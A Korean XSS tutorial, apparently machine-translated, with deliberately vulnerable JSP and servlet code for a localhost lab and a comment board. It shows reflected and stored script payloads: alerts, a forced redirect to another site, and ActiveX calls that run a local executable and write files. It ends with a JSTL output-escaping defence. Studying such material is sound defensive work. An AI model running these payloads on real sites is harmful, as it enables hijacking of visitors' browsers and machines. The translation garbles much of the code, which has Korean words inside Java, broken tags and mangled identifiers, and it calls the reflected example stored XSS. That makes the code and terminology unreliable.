머리말
안녕하세요 여러분, 좋은 사람은 저입니다. 저는 좋은 사람입니다. 저는 -0nise입니다. 주요 취약성보고 플랫폼에서는 종종 XSS 취약점을 볼 수 있습니다. 따라서 문제는 왜이 취약점이 발생합니까? 이 취약점은 어떻게 해결되어야합니까?
텍스트
1.xss? XSS? 도대체 XSS는 무엇입니까?
XSS를 크로스 사이트 스크립팅이라고도합니다. 나는 그것이 원래 CSS라고 불렸다 고 말하지는 않지만 우리가 사용하는 계단식 스타일 시트 CS와 혼동하지 않기 위해서. CSS (크로스 사이트 스크립팅 공격), CSS (계단식 스타일 시트)는 어리 석고 차이를 말할 수 없습니다. XSS라고합니다.
2. XSS의 위험은 무엇입니까?
실험 1 :
0x00 구성 코드
<%@ page language = "java"import = "java.util.*"pageEncoding = "utf-8"%> <%string path = request.getContextPath (); String BasePath = request.getScheme ()+": //"+request.getServerName ()+":"+request.get.gteRverport () <! "-// w3c // dtml 4.01 과도기 // en"> <html> <head> <base href = "<%= basepath%>"> <title> 나의 jsp 'index.jsp'시작 페이지 </title> <meta http-equiv = "pragma"contment = "no-cache"> content = "no-cache"> <meta http-equiv = "만료"content = "0"> <meta http-equiv = "keywords"content = "keyword1, keyword2, keyword3"> <meta http-equiv = "description ="this is my page "</head> <body style ="margin : 0 auto "> request.setcharacterencoding ( "utf-8"); // 사용자 수신 값을 받으십시오. String tmp = request.getParameter ( "opr"); // 기본적으로 들어오는 값이 비어 있다면 (tmp == null) {out.print ( "111"); } else {// string opr = new String (tmp.getBytes ( "iso-8859-1"), "UTF-8"); out.print (OPR); } %> 나는 내용입니다 </div> </body> </html>0x01 환경 레이아웃
0x02 취약성 드릴
우리는 http : // localhost : 8080/xss/index.jsp? opr = i%e6%98%a5%a7%a7%8b를 방문합니다
그런 다음 http : // localhost : 8080/xss/index.jsp? opr = 0nise를 방문하십시오
마침내 우리는 "위대한 법"을 발견했습니다.
OPR 매개 변수가 어떤 페이지를 인쇄하는지 인쇄하십시오. (말도 안되는 것 같습니다)
사진을로드하고 보자
방문 : http : // localhost : 8080/xss/index.jsp? opr =%3cimg%20src =%221.png%22%3e%3c/img%3e
모든 이미지를로드 할 수 있으므로 JS 파일도로드되어 있습니까?
방문하다: http : // localhost : 8080/xss/index.jsp? opr =%3cscript%3Ealert (/i%e6%98%a5%e7% A7%8B%E7%A4%BE%E5%8C%BA%E6%AC%A2%E8%BF%8E%E5%A4%A7%E5%AE%B6/)%3C/스크립트%3E
JS? JS? 그렇다면 점프 후 주소를 변경할 수 있습니까?
방문 : http : // localhost : 8080/xss/index.jsp? opr =%3cscript%3elocation.href =%27http : //bbs.icunqiu.com%27%3c/script%3E
XSS는 JS를로드 할 수 있으므로 JS를 통해 일부 지역을 열 수 있습니까?
MD5.EXE 파일을 미리 배치하십시오
방문 : http : // localhost : 8080/xss/index.jsp? opr = <cript> var objshell = new ActiveXobject ( "wscript.shell"); objshell.run ( "g :/work/xss/webroot/md5.exe"); </script>
로컬 파일조차 열 수 있으므로 원격 파일 트로이 목마? 컴퓨터 스푸핑이 있습니까? 이것은 천천히 사분면입니다. 나는 그것을 말하지 않았다. . . . .
모든 파일을 열 수 있으므로 일부 파일을 작성하는 것은 어떻습니까?
방문 : http : // localhost : 8080/xss/index.jsp? opr =%3cscript%3evar%20fso, tf; fso%20 =%20new%20activexobject (%22scripting.filesystemobject%22); tf%20 =%20fso.creatextfile (%22d); TF.WRITELINE (%22I%E6%98%A5%E7%A7%8B%E7%A4%BE%E5%8C%BA%E6%A2%A2%E8%BF%8E%82%A8%22); TF.CLOSE (); 경고 (%22%E6%96%87%E4%BB%B6%E5%86%99%E5%85%A5%E6%88%90%e5%8A%9f%EF%BC%22);%3C/스크립트%3E
위의 실험을 통해 OPR 매개 변수 할당 작업을 볼 수 있습니다. OPR 매개 변수에 값이 없으면 실행할 수 없습니다. 공격을받은 사람은 공격하기 전에 미리 설계된 공격자에게 액세스해야합니다. 이 XSS 공격 방법은 다음과 같습니다. 스토리지 XSS
보다 강력한 실험을보고 싶다면 계속 읽으십시오.
실험 2 :
머리말:
대부분의 웹 사이트는 데이터를 처리합니다. XSS 취약점이 나타날 때 이러한 웹 사이트는 어떻게 생겼습니까?
0x00 구성 코드
데이터베이스 부분
Rasedao.java
Java.sql.connection; import java.sql.drivermanager; import java.sql.preparedstatement; import java.sql.resultset; import java.sql.sqlexception; import java.sql.statement; public connection getconn () {null; try {class.forname ( "com.microsoft.sqlserver.jdbc.sqlserverdriver"); conn = drivermanager.getConnection ( "jdbc : sqlserver : // localhost : 1433; databasename = sqltmp", "sa", "sa"); } catch (classNotFoundException e) {e.printstacktrace (); } catch (sqlexception e) {e.printstacktrace (); } return conn; } // 링크를 닫는 메소드 public void closeAll (Connection Conn, Statement Stat, resultSet rs) {try {if (rs! = null) rs.close (); if (stat! = null) stat.close (); if (conn! = null) conn.close (); } catch (sqlexception e) {e.printstacktrace (); }} // 닫기 메소드 공개 void closeAll (Connection Conn, Proadstatement Pstat, resultSet rs) {try {if (rs! = null) rs.close (); if (pstat! = null) pstat.close (); if (conn! = null) conn.close (); } catch (sqlexception e) {e.printstacktrace (); }} // 계속해서 공개 void CloseAll (Connection Conn, Proadstatement Pstat) {try {if (pstat! = null) pstat.close (); if (conn! = null) conn.close (); } catch (sqlexception e) {e.printstacktrace (); }} // 공개 int 업데이트 추가, 삭제 및 수정을위한 공개 메소드 (String SQL, Object [] Pram) {proadstatement pstat = null; 연결 Conn = null; int a = 0; try {conn = getConn (); PSTAT = CONN.PREPARESTATEMENT (SQL); // 매개 변수 세트를 통해 전송하고 (int i = 1; i <= pram.length; i ++) {pstat.setObject (i, pram [i-1]); } // 호출 메소드 a = pstat.executeUpdate (); } catch (sqlexception e) {e.printstacktrace (); } 마침내 {CloseAll (Conn, PSTAT); } 반환 a; }}CommentDao.java
import java.sql.*; import java.util.*; import Entity.*; public class commentdao intaindao { /***모든 메시지 가져 오기* /public list <comm> getcomment () {// sql string string sql = "select cid, cname, ccontext"; list <com> list = new arraylist <comper <compery (); // 데이터베이스 연결 객체 연결 Conn = null; // SQL 실행 객체 PSTMT = NULL; // 데이터베이스 실행 return value resultset rs = null; {// 데이터베이스 생성 링크 conn = this.getConn (); // SQL 실행 객체 생성 PSTMT = CONN.PREPARESTATEMENT (SQL); // SQL 문장을 실행합니다. 반환 값 rs = pstmt.executeQuery (); // 읽기 while (rs.next ()) {댓글 주석 = new comm (); comment.setcid (rs.getint ( "cid")); comment.setcname (rs.getstring ( "cname")); comment.setccontext (rs.getString ( "ccontext")); list.add (댓글); }} catch (예외 e) {e.printstacktrace (); } 마침내 {// this.closeall (conn, pstmt, rs); } 반환 목록; } public int addcomment (comm comment) {문자열 sql = "주석 값 (?,?)에 삽입"; // 영향을받는 행의 수 int result = 0; // 데이터베이스 연결 객체 연결 Conn = null; // SQL 실행 객체 PSTMT = NULL; {// 데이터베이스 생성 링크 conn = this.getConn (); // SQL 실행 객체 생성 PSTMT = CONN.PREPARESTATEMENT (SQL); // 매개 변수를 설정 pstmt.setString (1, comment.getCname ()); pstmt.setString (2, comment.getCContext ()); // sql 문장을 실행합니다. 결과 = pstmt.executeUpdate (); } catch (예외 e) {e.printstacktrace (); } 마침내 {this.closeall (conn, pstmt); } 반환 결과; }}CommentServlVet
import java.io.*; import javax.servlet.*; import javax.servlet.http.*; import Entity.*; public class commentservlvet는 httpservlet { / ***doget ()* / public void doget (httpservletrequest 요청, httpervletrescence reponse) (httpervletecceence} request.setcharacterencoding ( "UTF-8"); Response.setContentType ( "Text/Html; charset = utf-8"); printwriter out = response.getwriter (); String opr = request.getParameter ( "opr"); CommentDao CommentDao = New CommentDao (); // 파라미터가 비어 있는지 (opr == null || opr.equals ( "all")) {request.setAttribute ( "all", commentDao.getComment ()); // forward request.getRequestDisPatcher ( "Comment.jsp"). forward (요청, 응답); } else if (opr.equals ( "add")) {댓글 주석 = new comm (); comment.setcname (request.getParameter ( "uname")); comment.setccontext (request.getParameter ( "context")); if (commentDao.addcomment (comment)> 0) {out.print ( "<cript> alert ( '메시지를 성공적으로 남겨 두십시오'); location.href = 'commentservlvet? opr = all'; </script>"); } else {out.print ( "<cript> alert ( 'message filed'); location.href = 'commentservlvet? opr = all'; </script>"); }} else {request.setAttribute ( "all", commentDao.getComment ()); // forward request.getRequestDisPatcher ( "Comment.jsp"). forward (요청, 응답); } out.flush (); out.close (); } / ** * dopost () * / public void dopost (httpservletrequest request, httpservletResponse 응답) servletexception, ioexception {doget (요청, 응답); }}comment.jsp
<%@ page language = "java"import = "java.util.*, 엔티티.*"pageencoding = "utf-8"%> <%string path = request.getContextPath (); String BasePath = request.getScheme ()+": //"+request.getServerName () <! html public "-// w3c // dtml html 4.01 전환 // en"> <html> <head> <base href = "<%= basepath%>"> <title> 나의 jsp 'comment.jsp'시작 페이지 </title> <meta http-empequiv = "pragma"> <meta "> http-equiv = "Cache-control"content = "no-cache"> <meta http-equiv = "cheword"0 "> <meta http-equiv ="keyword "content ="keyword1, keyword2, keyword3 "> <meta http-equiv ="content = "description"</head "> request.setcharacterencoding ( "UTF-8"); if (request.getAttribute ( "all") == null) {request.getRequestDisPatcher ( "CommentServlVet? opr = all"). forward (요청, 응답); } %> <table> < % list <entity.comm> list = (list <entity.comm>) request.getAttribute ( "all"); for (int i = 0; i <list.size (); i ++) { %> <tr> <td> < %= list.get (i) .getCname () %> </td> <td> < %= list.get (i) .getCContext () %> </td> </tr> < %} %> <post action = "metervlet =" "metervet" "> <TextArea rows = "5"cols = "30"name = "context"> </textArea> 닉네임 : <input type = "text"name = "Uname"/> <input type = "value ="제출 "/> </form> </body> </html> 0x01 취약성 실험
root@1~#
우리는 메시지 보드에 메시지를 남깁니다.
<script> var objShell = new ActiveXObject("wscript.shell");objShell.Run("G:/work/XSS/WebRoot/Md5.exe");</script>
그런 다음 방문 : http : // localhost : 8080/xss/comment.jsp
이러한 방식 으로이 페이지에 액세스하는 한 소프트웨어가 자동으로 열리고 원격 파일이 생성됩니까? 천천히 이해하십시오.
root@2~#
우리는 메시지 보드에 메시지를 남깁니다.
코드를 다음과 같이 복사하십시오 : <cript> var fso, tf; fso = new ActiveXobject ( "scripting.filesystemobject"); tf = fso.createtextfile ( "d : //test.txt", true); tf.writeline ( "i chunqiu 커뮤니티를 Welticly"); Alert ( ");");
그런 다음 방문 : http : // localhost : 8080/xss/comment.jsp
파일 쓰기가 성공적이었습니다.
root@3~#
메시지 내용 :
[코드] <cript> location.href = 'http : //bbs.icunqiu.com'</script> [code]
페이지 방문 : http : // localhost : 8080/xss/comment.jsp
메시지 페이지를 방문하여 공격자 별 웹 사이트로 자동 이동하십시오. 이것이 전설적인 납치입니까?
3.XSS 방어 솔루션
말이 갈 때, 공격이있는 곳마다 방어가 있습니다. XSS와 마찬가지로 공격 방법과 방어 솔루션이 있습니다.
EL Expression + JSTL 태그 라이브러리
EL (Expression Language) : [size = 12.0000pt] JSP를 더 쉽게 작성할 수 있도록합니다. 표현 언어는 ECMAScript 및 XPath 표현 언어에서 영감을 얻었습니다. JSP 코드를 더 간단하게 만들기 위해 JSP의 표현식을 단순화하는 방법을 제공합니다.
JSTL (JSP 표준 태그 라이브러리) : 오픈 소스 JSP 태그 라이브러리.
실험 1 방어 코드 :
<%@ page language = "java"import = "java.util.*"pageencoding = "utf-8"%> <%@ taglib uri = "http://java.sun.com/jsp/jstl/core"prefix = "c"%> <%string path = request.getconteptath = request.getScheme ()+": //"+request.getServerName ()+":"+request.getServerport ()+path+"/";%> <! docType html public "-// w3c // dtd html 4.01 wentritional // en"> <html> <head href = <%= basepathent> "> 'index.jsp'시작 페이지 </title> <meta http-equiv = "pragma"content = "no-cache"> <meta http-equiv = "cache-control"content = "no-cache"> <meta http-equiv = "expires"content = "0"> <meta http-equiv = "keyword" <meta http-equiv = "description"content = "이것은 내 페이지입니다"> </head> <body> <div style = "margin : 0 auto"> <% request.setcharacterencoding ( "utf-8"); 문자열 tmp = request.getParameter ( "opr"); // 들어오는 값이 비어 있든 if (tmp == null) {out.print ( "111"); } else {// string opr = new String (tmp.getBytes ( "iso-8859-1"), "UTF-8"); request.setAttribute ( "name", opr); %> <c : out value = "$ {requestScope.name}"> </c : out> < %} %> 나는 내용입니다 </div> </body> </html>실험 2 방어 코드 :
<%@ page language = "java"import = "java.util.*, 엔티티.*"pageencoding = "utf-8"%> <%@ taglib uri = "http://java.sun.com/jsp/jstl/core"prefix = "c"%> <%string path = request.getcontext =; request.getScheme ()+": //"+request.getServerName ()+":"+request.getServerport ()+path+"/";%>
<! docType html public "-// w3c // dtd html 4.01 과도기 // en"> <html> <head> <base href = "<%= basepath%>"> <title> 나의 jsp 'comment.jsp'시작 페이지 </title> <meta http-equiv = "pragma"= "no-cache" " http-equiv = "Cache-control"content = "no-cache"> <meta http-equiv = "cheword"0 "> <meta http-equiv ="keyword "content ="keyword1, keyword2, keyword3 "> <meta http-equiv ="content = "description"</head "> request.setcharacterencoding ( "UTF-8"); if (request.getAttribute ( "all") == null) {request.getRequestDisPatcher ( "CommentServlVet? opr = all"). forward (요청, 응답); } %> <table> <!-방어 XSS 솔루션-> <c : foreach var = "x"items = "$ {requestScope.all}"> <td> <td> <c : out value = "$ {x.getCname ()}"> </c : out> </td> <td> <c : out value = "$ {X.GetcContext ()"> c. </td> </td> </tr> </c : foreach> </table> <form action = "commentservlvet? opr = add"method = "post"> <textarea rows = "5"cols = "30"name = "context"> </textArea> 닉네임 : <input type = "text" "name"/> <input = ""/form " </body> </html> 결론
이 기술은 흑백이 아니며 전문화는 매우 좋습니다.